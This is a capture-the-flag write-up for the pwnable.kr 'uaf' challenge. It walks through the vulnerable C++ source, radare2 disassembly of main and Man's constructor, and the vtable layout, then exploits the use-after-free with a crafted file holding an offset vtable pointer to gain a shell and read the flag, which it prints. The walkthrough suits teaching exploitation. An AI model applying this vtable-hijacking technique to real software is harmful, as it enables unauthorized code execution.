In this challenge we’re going to cover some basics behind the use-after-free bug in some C++ code.

ssh [email protected] -p2222                                             130 ↵
[email protected]'s password: 
 ____  __    __  ____    ____  ____   _        ___      __  _  ____  
|    \|  |__|  ||    \  /    ||    \ | |      /  _]    |  |/ ]|    \ 
|  o  )  |  |  ||  _  ||  o  ||  o  )| |     /  [_     |  ' / |  D  )
|   _/|  |  |  ||  |  ||     ||     || |___ |    _]    |    \ |    / 
|  |  |  `  '  ||  |  ||  _  ||  O  ||     ||   [_  __ |     \|    \ 
|  |   \      / |  |  ||  |  ||     ||     ||     ||  ||  .  ||  .  \
|__|    \_/\_/  |__|__||__|__||_____||_____||_____||__||__|\_||__|\_|
                                                                     
- Site admin : [email protected]
- IRC : irc.netgarage.org:6667 / #pwnable.kr
- Simply type "irssi" command to join IRC now
- files under /tmp can be erased anytime. make your directory under /tmp
- to use peda, issue `source /usr/share/peda/peda.py` in gdb terminal
Last login: Wed Jul  4 10:19:57 2018 from 213.89.161.62
[email protected]:~$ ls -la
total 44
drwxr-x---  5 root uaf      4096 Oct 23  2016 .
drwxr-xr-x 87 root root     4096 Dec 27  2017 ..
d---------  2 root root     4096 Sep 20  2015 .bash_history
-rw-r-----  1 root uaf_pwn    22 Sep 25  2015 flag
dr-xr-xr-x  2 root root     4096 Sep 20  2015 .irssi
drwxr-xr-x  2 root root     4096 Oct 23  2016 .pwntools-cache
-r-xr-sr-x  1 root uaf_pwn 15463 Sep 25  2015 uaf
-rw-r--r--  1 root root     1431 Sep 25  2015 uaf.cpp

Once again we are presented with two files - binary and the source code. Let’s take a look at it.

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\n2. after\n3. free\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

What we can see here is two objects of classes Man and Woman. Both those classes inherit the methods and values from class Human. This class is particularly interesting, as it contains the virtual methond give_shell that executes /bin/sh.

In addition, we can see a simple use-after-free vulnerability. After pressing 3 in main while(1) loop of the program, we can free the objects previously allocated, but we still can call methods m->introduce(); by pressing 1.

In addition, by pressing 2 we can allocate some bytes of data using argv[1] that is supposed to specify how much data to read, and argv[2] that is the filename that we want to read.

With this information we can think of a simple attack, firstly free the objects, overwrite their data with something that we especially craft in order to make a call to give_shell method and call it with first option.

But firstly, let’s diassemble this binary.

[email protected]:~$ r2 ./uaf
 -- Hello Mr. Anderson
[0x00400de0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))
[0x00400de0]> s main 
[0x00400ec4]> pdf
            ;-- main:
/ (fcn) sym.main 490
|   sym.main ();
|           ; var int local_60h @ rbp-0x60
|           ; var int local_54h @ rbp-0x54
|           ; var int local_50h @ rbp-0x50
|           ; var int local_40h @ rbp-0x40
|           ; var int local_38h @ rbp-0x38
|           ; var int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|           ; var int local_12h @ rbp-0x12
|           ; var int local_11h @ rbp-0x11
|              ; DATA XREF from 0x00400dfd (entry0)
|           0x00400ec4      55             push rbp
|           0x00400ec5      4889e5         mov rbp, rsp
|           0x00400ec8      4154           push r12
|           0x00400eca      53             push rbx
|           0x00400ecb      4883ec50       sub rsp, 0x50               ; 'P'
|           0x00400ecf      897dac         mov dword [rbp - local_54h], edi
|           0x00400ed2      488975a0       mov qword [rbp - local_60h], rsi
|           0x00400ed6      488d45ee       lea rax, [rbp - local_12h]
|           0x00400eda      4889c7         mov rdi, rax
|           0x00400edd      e88efeffff     call sym.std::allocator_char_::allocator
|           0x00400ee2      488d55ee       lea rdx, [rbp - local_12h]
|           0x00400ee6      488d45b0       lea rax, [rbp - local_50h]
|           0x00400eea      bef0144000     mov esi, str.Jack           ; "Jack" @ 0x4014f0
|           0x00400eef      4889c7         mov rdi, rax
|           0x00400ef2      e819feffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string
|           0x00400ef7      4c8d65b0       lea r12, [rbp - local_50h]
|           0x00400efb      bf18000000     mov edi, 0x18
|           0x00400f00      e88bfeffff     call sym.operatornew
|           0x00400f05      4889c3         mov rbx, rax
|           0x00400f08      ba19000000     mov edx, 0x19
|           0x00400f0d      4c89e6         mov rsi, r12
|           0x00400f10      4889df         mov rdi, rbx
|           0x00400f13      e84c030000     call sym.Man::Man
|           0x00400f18      48895dc8       mov qword [rbp - local_38h], rbx
|           0x00400f1c      488d45b0       lea rax, [rbp - local_50h]
|           0x00400f20      4889c7         mov rdi, rax
|           0x00400f23      e8d8fdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
|           0x00400f28      488d45ee       lea rax, [rbp - local_12h]
|           0x00400f2c      4889c7         mov rdi, rax
|           0x00400f2f      e80cfeffff     call sym.std::allocator_char_::_allocator
|           0x00400f34      488d45ef       lea rax, [rbp - local_11h]
|           0x00400f38      4889c7         mov rdi, rax
|           0x00400f3b      e830feffff     call sym.std::allocator_char_::allocator
|           0x00400f40      488d55ef       lea rdx, [rbp - local_11h]
|           0x00400f44      488d45c0       lea rax, [rbp - local_40h]
|           0x00400f48      bef5144000     mov esi, str.Jill           ; "Jill" @ 0x4014f5
|           0x00400f4d      4889c7         mov rdi, rax
|           0x00400f50      e8bbfdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string
|           0x00400f55      4c8d65c0       lea r12, [rbp - local_40h]
|           0x00400f59      bf18000000     mov edi, 0x18
|           0x00400f5e      e82dfeffff     call sym.operatornew
|           0x00400f63      4889c3         mov rbx, rax
|           0x00400f66      ba15000000     mov edx, 0x15
|           0x00400f6b      4c89e6         mov rsi, r12
|           0x00400f6e      4889df         mov rdi, rbx
|           0x00400f71      e892030000     call sym.Woman::Woman
|           0x00400f76      48895dd0       mov qword [rbp - local_30h], rbx
|           0x00400f7a      488d45c0       lea rax, [rbp - local_40h]
|           0x00400f7e      4889c7         mov rdi, rax
|           0x00400f81      e87afdffff     call sym.std::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string
|           0x00400f86      488d45ef       lea rax, [rbp - local_11h]
|           0x00400f8a      4889c7         mov rdi, rax
|           0x00400f8d      e8aefdffff     call sym.std::allocator_char_::_allocator
|              ; JMP XREF from 0x004010a9 (sym.main)
|       .-> 0x00400f92      befa144000     mov esi, str.1._use_n2._after_n3._free_n ; "1. use.2. after.3. free." @ 0x4014fa
|       !   0x00400f97      bf60226000     mov edi, obj.std::cout      ; obj.std::cout
|       !   0x00400f9c      e84ffdffff     call sym.std::operator___std::char_traits_char__
|       !   0x00400fa1      488d45e8       lea rax, [rbp - local_18h]
|       !   0x00400fa5      4889c6         mov rsi, rax
|       !   0x00400fa8      bfe0206000     mov edi, obj.std::cin       ; "untu/Linaro 4.6.3-1ubuntu5) 4.6.3" @ 0x6020e0
|       !   0x00400fad      e81efeffff     call sym.std::istream::operator__
|       !   0x00400fb2      8b45e8         mov eax, dword [rbp - local_18h]
|       !   0x00400fb5      83f802         cmp eax, 2
|      ,==< 0x00400fb8      7446           je 0x401000
|      |!   0x00400fba      83f803         cmp eax, 3
|     ,===< 0x00400fbd      0f84b3000000   je 0x401076
|     ||!   0x00400fc3      83f801         cmp eax, 1
|    ,====< 0x00400fc6      7405           je 0x400fcd
|   ,=====< 0x00400fc8      e9dc000000     jmp 0x4010a9
|   ||||!      ; JMP XREF from 0x00400fc6 (sym.main)
|   |`----> 0x00400fcd      488b45c8       mov rax, qword [rbp - local_38h]
|   | ||!   0x00400fd1      488b00         mov rax, qword [rax]
|   | ||!   0x00400fd4      4883c008       add rax, 8
|   | ||!   0x00400fd8      488b10         mov rdx, qword [rax]
|   | ||!   0x00400fdb      488b45c8       mov rax, qword [rbp - local_38h]
|   | ||!   0x00400fdf      4889c7         mov rdi, rax
|   | ||!   0x00400fe2      ffd2           call rdx
|   | ||!   0x00400fe4      488b45d0       mov rax, qword [rbp - local_30h]
|   | ||!   0x00400fe8      488b00         mov rax, qword [rax]
|   | ||!   0x00400feb      4883c008       add rax, 8
|   | ||!   0x00400fef      488b10         mov rdx, qword [rax]
|   | ||!   0x00400ff2      488b45d0       mov rax, qword [rbp - local_30h]
|   | ||!   0x00400ff6      4889c7         mov rdi, rax
|   | ||!   0x00400ff9      ffd2           call rdx
|   |,====< 0x00400ffb      e9a9000000     jmp 0x4010a9
|   ||||!      ; JMP XREF from 0x00400fb8 (sym.main)
|   |||`--> 0x00401000      488b45a0       mov rax, qword [rbp - local_60h]
|   ||| !   0x00401004      4883c008       add rax, 8
|   ||| !   0x00401008      488b00         mov rax, qword [rax]
|   ||| !   0x0040100b      4889c7         mov rdi, rax
|   ||| !   0x0040100e      e80dfdffff     call sym.imp.atoi          ; int atoi(const char *str)
|   ||| !   0x00401013      4898           cdqe
|   ||| !   0x00401015      488945d8       mov qword [rbp - local_28h], rax
|   ||| !   0x00401019      488b45d8       mov rax, qword [rbp - local_28h]
|   ||| !   0x0040101d      4889c7         mov rdi, rax
|   ||| !   0x00401020      e84bfcffff     call sym.operatornew__
|   ||| !   0x00401025      488945e0       mov qword [rbp - local_20h], rax
|   ||| !   0x00401029      488b45a0       mov rax, qword [rbp - local_60h]
|   ||| !   0x0040102d      4883c010       add rax, 0x10
|   ||| !   0x00401031      488b00         mov rax, qword [rax]
|   ||| !   0x00401034      be00000000     mov esi, 0
|   ||| !   0x00401039      4889c7         mov rdi, rax
|   ||| !   0x0040103c      b800000000     mov eax, 0
|   ||| !   0x00401041      e87afdffff     call sym.imp.open          ; int open(const char *path, int oflag)
|   ||| !   0x00401046      488b55d8       mov rdx, qword [rbp - local_28h]
|   ||| !   0x0040104a      488b4de0       mov rcx, qword [rbp - local_20h]
|   ||| !   0x0040104e      4889ce         mov rsi, rcx
|   ||| !   0x00401051      89c7           mov edi, eax
|   ||| !   0x00401053      e848fcffff     call sym.imp.read          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|   ||| !   0x00401058      be13154000     mov esi, str.your_data_is_allocated ; "your data is allocated" @ 0x401513
|   ||| !   0x0040105d      bf60226000     mov edi, obj.std::cout      ; obj.std::cout
|   ||| !   0x00401062      e889fcffff     call sym.std::operator___std::char_traits_char__
|   ||| !   0x00401067      be600d4000     mov esi, sym.std::endl_char_std::char_traits_char__ ; sym.std::endl_char_std::char_traits_char__
|   ||| !   0x0040106c      4889c7         mov rdi, rax
|   ||| !   0x0040106f      e8dcfcffff     call sym.std::ostream::operator__
|   |||,==< 0x00401074      eb33           jmp 0x4010a9
|   ||||!      ; JMP XREF from 0x00400fbd (sym.main)
|   ||`---> 0x00401076      488b5dc8       mov rbx, qword [rbp - local_38h]
|   || |!   0x0040107a      4885db         test rbx, rbx
|   ||,===< 0x0040107d      7410           je 0x40108f
|   ||||!   0x0040107f      4889df         mov rdi, rbx
|   ||||!   0x00401082      e8b3010000     call sym.Human::_Human
|   ||||!   0x00401087      4889df         mov rdi, rbx
|   ||||!   0x0040108a      e8f1fbffff     call sym.operatordelete
|   ||||!      ; JMP XREF from 0x0040107d (sym.main)
|   ||`---> 0x0040108f      488b5dd0       mov rbx, qword [rbp - local_30h]
|   || |!   0x00401093      4885db         test rbx, rbx
|   ||,===< 0x00401096      7410           je 0x4010a8
|   ||||!   0x00401098      4889df         mov rdi, rbx
|   ||||!   0x0040109b      e89a010000     call sym.Human::_Human
|   ||||!   0x004010a0      4889df         mov rdi, rbx
|   ||||!   0x004010a3      e8d8fbffff     call sym.operatordelete
|   ||||!      ; JMP XREF from 0x00401096 (sym.main)
|   ||`---> 0x004010a8      90             nop
|   || ||      ; JMP XREF from 0x00401074 (sym.main)
|   || ||      ; JMP XREF from 0x00400ffb (sym.main)
|   || ||      ; JMP XREF from 0x00400fc8 (sym.main)
\   ``-``=< 0x004010a9      e9e4feffff     jmp 0x400f92
[0x00400ec4]> 

From here we can extract some basic bits of information essential for the further exploitation. First option 1 is made from this code below.

|   |`----> 0x00400fcd      488b45c8       mov rax, qword [rbp - local_38h]
|   | ||!   0x00400fd1      488b00         mov rax, qword [rax]
|   | ||!   0x00400fd4      4883c008       add rax, 8
|   | ||!   0x00400fd8      488b10         mov rdx, qword [rax]
|   | ||!   0x00400fdb      488b45c8       mov rax, qword [rbp - local_38h]
|   | ||!   0x00400fdf      4889c7         mov rdi, rax
|   | ||!   0x00400fe2      ffd2           call rdx
|   | ||!   0x00400fe4      488b45d0       mov rax, qword [rbp - local_30h]
|   | ||!   0x00400fe8      488b00         mov rax, qword [rax]
|   | ||!   0x00400feb      4883c008       add rax, 8
|   | ||!   0x00400fef      488b10         mov rdx, qword [rax]
|   | ||!   0x00400ff2      488b45d0       mov rax, qword [rbp - local_30h]
|   | ||!   0x00400ff6      4889c7         mov rdi, rax
|   | ||!   0x00400ff9      ffd2           call rdx

Here we can see a repetive code for both calls of introduce() methods. As we have instruction call rdx we can suspect that rdx holds the address of introduce method. Register rdx get’s it’s value from rax in mov rdx, qword [rax], with additional incrementation of rax value in add rax, 8.

[0x0040123a]> pdf @sym.Man::Man
/ (fcn) sym.Man::Man 83
|   sym.Man::Man ();
|           ; var int local_24h @ rbp-0x24
|           ; var int local_20h @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|              ; CALL XREF from 0x00400f13 (sym.main)
|           0x00401264      55             push rbp
|           0x00401265      4889e5         mov rbp, rsp
|           0x00401268      53             push rbx
|           0x00401269      4883ec28       sub rsp, 0x28               ; '('
|           0x0040126d      48897de8       mov qword [rbp - local_18h], rdi
|           0x00401271      488975e0       mov qword [rbp - local_20h], rsi
|           0x00401275      8955dc         mov dword [rbp - local_24h], edx
|           0x00401278      488b45e8       mov rax, qword [rbp - local_18h]
|           0x0040127c      4889c7         mov rdi, rax
|           0x0040127f      e88cffffff     call sym.Human::Human
|           0x00401284      488b45e8       mov rax, qword [rbp - local_18h]
|           0x00401288      48c700701540.  mov qword [rax], 0x401570   ; [0x401570:8]=0x40117a sym.Human::give_shell ; "[email protected]"
|           0x0040128f      488b45e8       mov rax, qword [rbp - local_18h]
|           0x00401293      488d5010       lea rdx, [rax + 0x10]       ; 0x10
|           0x00401297      488b45e0       mov rax, qword [rbp - local_20h]
|           0x0040129b      4889c6         mov rsi, rax
|           0x0040129e      4889d7         mov rdi, rdx
|           0x004012a1      e80afbffff     call sym.std::string::operator_
|           0x004012a6      488b45e8       mov rax, qword [rbp - local_18h]
|           0x004012aa      8b55dc         mov edx, dword [rbp - local_24h]
|           0x004012ad      895008         mov dword [rax + 8], edx
|           0x004012b0      4883c428       add rsp, 0x28               ; '('
|           0x004012b4      5b             pop rbx
|           0x004012b5      5d             pop rbp
\           0x004012b6      c3             ret

With that information, we are ready to disassemble the Man object and first thing that comes to my mind is this line mov qword [rax], 0x401570 ; [0x401570:8]=0x40117a sym.Human::give_shell ; "[email protected]". Now we can suspect that address 0x401570 is the address of the vtable of this class.

Every class containing virtual functions gets its own vtable that is used to resolve the address of te virtual function whenever such function is called. Luckily, we can list vtables with radare2 command av.

[0x00400de0]> av?
|Usage: av analyze the .rodata section and list virtual function present


[0x00400de0]> av

Vtable Found at 0x00401550
0x00401550 : sym.Human::give_shell
0x00401558 : sym.Woman::introduce


Vtable Found at 0x00401570
0x00401570 : sym.Human::give_shell
0x00401578 : sym.Man::introduce


Vtable Found at 0x00401590
0x00401590 : sym.Human::give_shell
0x00401598 : sym.Human::introduce

Great, our assumptions are correct and address 0x00401570 is the address of the Man class vtable. But why after calling this address, method introduce() is called instead of give_shell()?

Coming back to disassembly of main() function, we have to remember that during the call address is incremented with add rax, 8. So in order to call the give_shell() function, we have to decrement 0x00401570 by 8.

>>> hex(0x00401570 - 8)
'0x401568'

Now we have the address of give_shell() that we can use in our exploit. Few runs of 2 option may guarantee that these bytes are at correct place.

[email protected]:~$ python -c 'print("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/attackme
[email protected]:~$ ./uaf 8 /tmp/attackme
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag  
yay_f1ag_aft3r_pwning